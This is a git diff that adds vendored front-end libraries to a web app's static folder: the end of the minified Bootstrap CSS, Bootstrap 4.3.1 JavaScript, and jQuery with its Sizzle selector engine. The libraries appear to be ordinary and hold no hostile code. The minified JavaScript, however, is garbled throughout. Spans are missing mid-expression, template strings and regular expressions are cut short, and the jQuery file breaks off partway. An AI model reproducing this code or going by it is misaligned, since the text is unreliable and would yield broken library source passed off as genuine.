ttom:-1rem!important}.ml-xl-n3,.mx-xl-n3{margin-left:-1rem!important}.m-xl-n4{margin:-1.5rem!important}.mt-xl-n4,.my-xl-n4{margin-top:-1.5rem!important}.mr-xl-n4,.mx-xl-n4{margin-right:-1.5rem!important}.mb-xl-n4,.my-xl-n4{margin-bottom:-1.5rem!important}.ml-xl-n4,.mx-xl-n4{margin-left:-1.5rem!important}.m-xl-n5{margin:-3rem!important}.mt-xl-n5,.my-xl-n5{margin-top:-3rem!important}.mr-xl-n5,.mx-xl-n5{margin-right:-3rem!important}.mb-xl-n5,.my-xl-n5{margin-bottom:-3rem!important}.ml-xl-n5,.mx-xl-n5{margin-left:-3rem!important}.m-xl-auto{margin:auto!important}.mt-xl-auto,.my-xl-auto{margin-top:auto!important}.mr-xl-auto,.mx-xl-auto{margin-right:auto!important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto!important}.ml-xl-auto,.mx-xl-auto{margin-left:auto!important}}.text-monospace{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace!important}.text-justify{text-align:justify!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left!important}.text-right{text-align:right!important}.text-center{text-align:center!important}@media (min-width:576px){.text-sm-left{text-align:left!important}.text-sm-right{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.text-md-left{text-align:left!important}.text-md-right{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.text-lg-left{text-align:left!important}.text-lg-right{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.text-xl-left{text-align:left!important}.text-xl-right{text-align:right!important}.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-weight:300!important}.font-weight-lighter{font-weight:lighter!important}.font-weight-normal{font-weight:400!important}.font-weight-bold{font-weight:700!important}.font-weight-bolder{font-weight:bolder!important}.font-italic{font-style:italic!important}.text-white{color:#fff!important}.text-primary{color:#007bff!important}a.text-primary:focus,a.text-primary:hover{color:#0056b3!important}.text-secondary{color:#6c757d!important}a.text-secondary:focus,a.text-secondary:hover{color:#494f54!important}.text-success{color:#28a745!important}a.text-success:focus,a.text-success:hover{color:#19692c!important}.text-info{color:#17a2b8!important}a.text-info:focus,a.text-info:hover{color:#0f6674!important}.text-warning{color:#ffc107!important}a.text-warning:focus,a.text-warning:hover{color:#ba8b00!important}.text-danger{color:#dc3545!important}a.text-danger:focus,a.text-danger:hover{color:#a71d2a!important}.text-light{color:#f8f9fa!important}a.text-light:focus,a.text-light:hover{color:#cbd3da!important}.text-dark{color:#343a40!important}a.text-dark:focus,a.text-dark:hover{color:#121416!important}.text-body{color:#212529!important}.text-muted{color:#6c757d!important}.text-black-50{color:rgba(0,0,0,.5)!important}.text-white-50{color:rgba(255,255,255,.5)!important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.text-decoration-none{text-decoration:none!important}.text-break{word-break:break-word!important;overflow-wrap:break-word!important}.text-reset{color:inherit!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media print{*,::after,::before{text-shadow:none!important;box-shadow:none!important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap!important}blockquote,pre{border:1px solid #adb5bd;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px!important}.container{min-width:992px!important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #dee2e6!important}.table-dark{color:inherit}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#dee2e6}.table .thead-dark th{color:inherit;border-color:#dee2e6}} +/*# sourceMappingURL=bootstrap.min.css.map */ \ No newline at end of file diff --git a/official/从零开始的记账工具人/src/app/static/bootstrap/js/bootstrap.min.js b/official/从零开始的记账工具人/src/app/static/bootstrap/js/bootstrap.min.js new file mode 100644 index 0000000..c4c0d1f --- /dev/null +++ b/official/从零开始的记账工具人/src/app/static/bootstrap/js/bootstrap.min.js @@ -0,0 +1,7 @@ +/*! + * Bootstrap v4.3.1 (https://getbootstrap.com/) + * Copyright 2011-2019 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e((t=t||self).bootstrap={},t.jQuery,t.Popper)}(this,function(t,g,u){"use strict";function i(t,e){for(var n=0;nthis._items.length-1||t<0))if(this._isSliding)g(this._element).one(Q.SLID,function(){return e.to(t)});else{if(n===t)return this.pause(),void this.cycle();var i=ndocument.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},t._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=t.left+t.right
    ',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent",sanitize:!0,sanitizeFn:null,whiteList:Ee},je="show",He="out",Re={HIDE:"hide"+De,HIDDEN:"hidden"+De,SHOW:"show"+De,SHOWN:"shown"+De,INSERTED:"inserted"+De,CLICK:"click"+De,FOCUSIN:"focusin"+De,FOCUSOUT:"focusout"+De,MOUSEENTER:"mouseenter"+De,MOUSELEAVE:"mouseleave"+De},xe="fade",Fe="show",Ue=".tooltip-inner",We=".arrow",qe="hover",Me="focus",Ke="click",Qe="manual",Be=function(){function i(t,e){if("undefined"==typeof u)throw new TypeError("Bootstrap's tooltips require Popper.js (https://popper.js.org/)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var t=i.prototype;return t.enable=function(){this._isEnabled=!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=g(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),g(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(g(this.getTipElement()).hasClass(Fe))return void this._leave(null,this);this._enter(null,this)}},t.dispose=function(){clearTimeout(this._timeout),g.removeData(this.element,this.constructor.DATA_KEY),g(this.element).off(this.constructor.EVENT_KEY),g(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&g(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},t.show=function(){var e=this;if("none"===g(this.element).css("display"))throw new Error("Please use show on visible elements");var t=g.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){g(this.element).trigger(t);var n=_.findShadowRoot(this.element),i=g.contains(null!==n?n:this.element.ownerDocument.documentElement,this.element);if(t.isDefaultPrevented()||!i)return;var o=this.getTipElement(),r=_.getUID(this.constructor.NAME);o.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&g(o).addClass(xe);var s="function"==typeof this.config.placement?this.config.placement.call(this,o,this.element):this.config.placement,a=this._getAttachment(s);this.addAttachmentClass(a);var l=this._getContainer();g(o).data(this.constructor.DATA_KEY,this),g.contains(this.element.ownerDocument.documentElement,this.tip)||g(o).appendTo(l),g(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new u(this.element,o,{placement:a,modifiers:{offset:this._getOffset(),flip:{behavior:this.config.fallbackPlacement},arrow:{element:We},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){return e._handlePopperPlacementChange(t)}}),g(o).addClass(Fe),"ontouchstart"in document.documentElement&&g(document.body).children().on("mouseover",null,g.noop);var c=function(){e.config.animation&&e._fixTransition();var t=e._hoverState;e._hoverState=null,g(e.element).trigger(e.constructor.Event.SHOWN),t===He&&e._leave(null,e)};if(g(this.tip).hasClass(xe)){var h=_.getTransitionDurationFromElement(this.tip);g(this.tip).one(_.TRANSITION_END,c).emulateTransitionEnd(h)}else c()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=g.Event(this.constructor.Event.HIDE),o=function(){e._hoverState!==je&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),g(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(g(this.element).trigger(i),!i.isDefaultPrevented()){if(g(n).removeClass(Fe),"ontouchstart"in document.documentElement&&g(document.body).children().off("mouseover",null,g.noop),this._activeTrigger[Ke]=!1,this._activeTrigger[Me]=!1,this._activeTrigger[qe]=!1,g(this.tip).hasClass(xe)){var r=_.getTransitionDurationFromElement(n);g(n).one(_.TRANSITION_END,o).emulateTransitionEnd(r)}else o();this._hoverState=""}},t.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},t.isWithContent=function(){return Boolean(this.getTitle())},t.addAttachmentClass=function(t){g(this.getTipElement()).addClass(Ae+"-"+t)},t.getTipElement=function(){return this.tip=this.tip||g(this.config.template)[0],this.tip},t.setContent=function(){var t=this.getTipElement();this.setElementContent(g(t.querySelectorAll(Ue)),this.getTitle()),g(t).removeClass(xe+" "+Fe)},t.setElementContent=function(t,e){"object"!=typeof e||!e.nodeType&&!e.jquery?this.config.html?(this.config.sanitize&&(e=Se(e,this.config.whiteList,this.config.sanitizeFn)),t.html(e)):t.text(e):this.config.html?g(e).parent().is(t)||t.empty().append(e):t.text(g(e).text())},t.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getOffset=function(){var e=this,t={};return"function"==typeof this.config.offset?t.fn=function(t){return t.offsets=l({},t.offsets,e.config.offset(t.offsets,e.element)||{}),t}:t.offset=this.config.offset,t},t._getContainer=function(){return!1===this.config.container?document.body:_.isElement(this.config.container)?g(this.config.container):g(document).find(this.config.container)},t._getAttachment=function(t){return Pe[t.toUpperCase()]},t._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(t){if("click"===t)g(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(t){return i.toggle(t)});else if(t!==Qe){var e=t===qe?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=t===qe?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;g(i.element).on(e,i.config.selector,function(t){return i._enter(t)}).on(n,i.config.selector,function(t){return i._leave(t)})}}),g(this.element).closest(".modal").on("hide.bs.modal",function(){i.element&&i.hide()}),this.config.selector?this.config=l({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},t._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},t._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||g(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),g(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?Me:qe]=!0),g(e.getTipElement()).hasClass(Fe)||e._hoverState===je?e._hoverState=je:(clearTimeout(e._timeout),e._hoverState=je,e.config.delay&&e.config.delay.show?e._timeout=setTimeout(function(){e._hoverState===je&&e.show()},e.config.delay.show):e.show())},t._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||g(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),g(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?Me:qe]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=He,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout(function(){e._hoverState===He&&e.hide()},e.config.delay.hide):e.hide())},t._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},t._getConfig=function(t){var e=g(this.element).data();return Object.keys(e).forEach(function(t){-1!==Oe.indexOf(t)&&delete e[t]}),"number"==typeof(t=l({},this.constructor.Default,e,"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),_.typeCheckConfig(be,t,this.constructor.DefaultType),t.sanitize&&(t.template=Se(t.template,t.whiteList,t.sanitizeFn)),t},t._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},t._cleanTipClass=function(){var t=g(this.getTipElement()),e=t.attr("class").match(Ne);null!==e&&e.length&&t.removeClass(e.join(""))},t._handlePopperPlacementChange=function(t){var e=t.instance;this.tip=e.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},t._fixTransition=function(){var t=this.getTipElement(),e=this.config.animation;null===t.getAttribute("x-placement")&&(g(t).removeClass(xe),this.config.animation=!1,this.hide(),this.show(),this.config.animation=e)},i._jQueryInterface=function(n){return this.each(function(){var t=g(this).data(Ie),e="object"==typeof n&&n;if((t||!/dispose|hide/.test(n))&&(t||(t=new i(this,e),g(this).data(Ie,t)),"string"==typeof n)){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}})},s(i,null,[{key:"VERSION",get:function(){return"4.3.1"}},{key:"Default",get:function(){return Le}},{key:"NAME",get:function(){return be}},{key:"DATA_KEY",get:function(){return Ie}},{key:"Event",get:function(){return Re}},{key:"EVENT_KEY",get:function(){return De}},{key:"DefaultType",get:function(){return ke}}]),i}();g.fn[be]=Be._jQueryInterface,g.fn[be].Constructor=Be,g.fn[be].noConflict=function(){return g.fn[be]=we,Be._jQueryInterface};var Ve="popover",Ye="bs.popover",ze="."+Ye,Xe=g.fn[Ve],$e="bs-popover",Ge=new RegExp("(^|\\s)"+$e+"\\S+","g"),Je=l({},Be.Default,{placement:"right",trigger:"click",content:"",template:''}),Ze=l({},Be.DefaultType,{content:"(string|element|function)"}),tn="fade",en="show",nn=".popover-header",on=".popover-body",rn={HIDE:"hide"+ze,HIDDEN:"hidden"+ze,SHOW:"show"+ze,SHOWN:"shown"+ze,INSERTED:"inserted"+ze,CLICK:"click"+ze,FOCUSIN:"focusin"+ze,FOCUSOUT:"focusout"+ze,MOUSEENTER:"mouseenter"+ze,MOUSELEAVE:"mouseleave"+ze},sn=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),(e.prototype.constructor=e).__proto__=n;var o=i.prototype;return o.isWithContent=function(){return this.getTitle()||this._getContent()},o.addAttachmentClass=function(t){g(this.getTipElement()).addClass($e+"-"+t)},o.getTipElement=function(){return this.tip=this.tip||g(this.config.template)[0],this.tip},o.setContent=function(){var t=g(this.getTipElement());this.setElementContent(t.find(nn),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(on),e),t.removeClass(tn+" "+en)},o._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},o._cleanTipClass=function(){var t=g(this.getTipElement()),e=t.attr("class").match(Ge);null!==e&&0=this._offsets[o]&&("undefined"==typeof this._offsets[o+1]||t+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e.namespaceURI,n=(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="
    ",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function D(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||j,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,j=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",y.option=!!ce.lastChild;var ge={thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
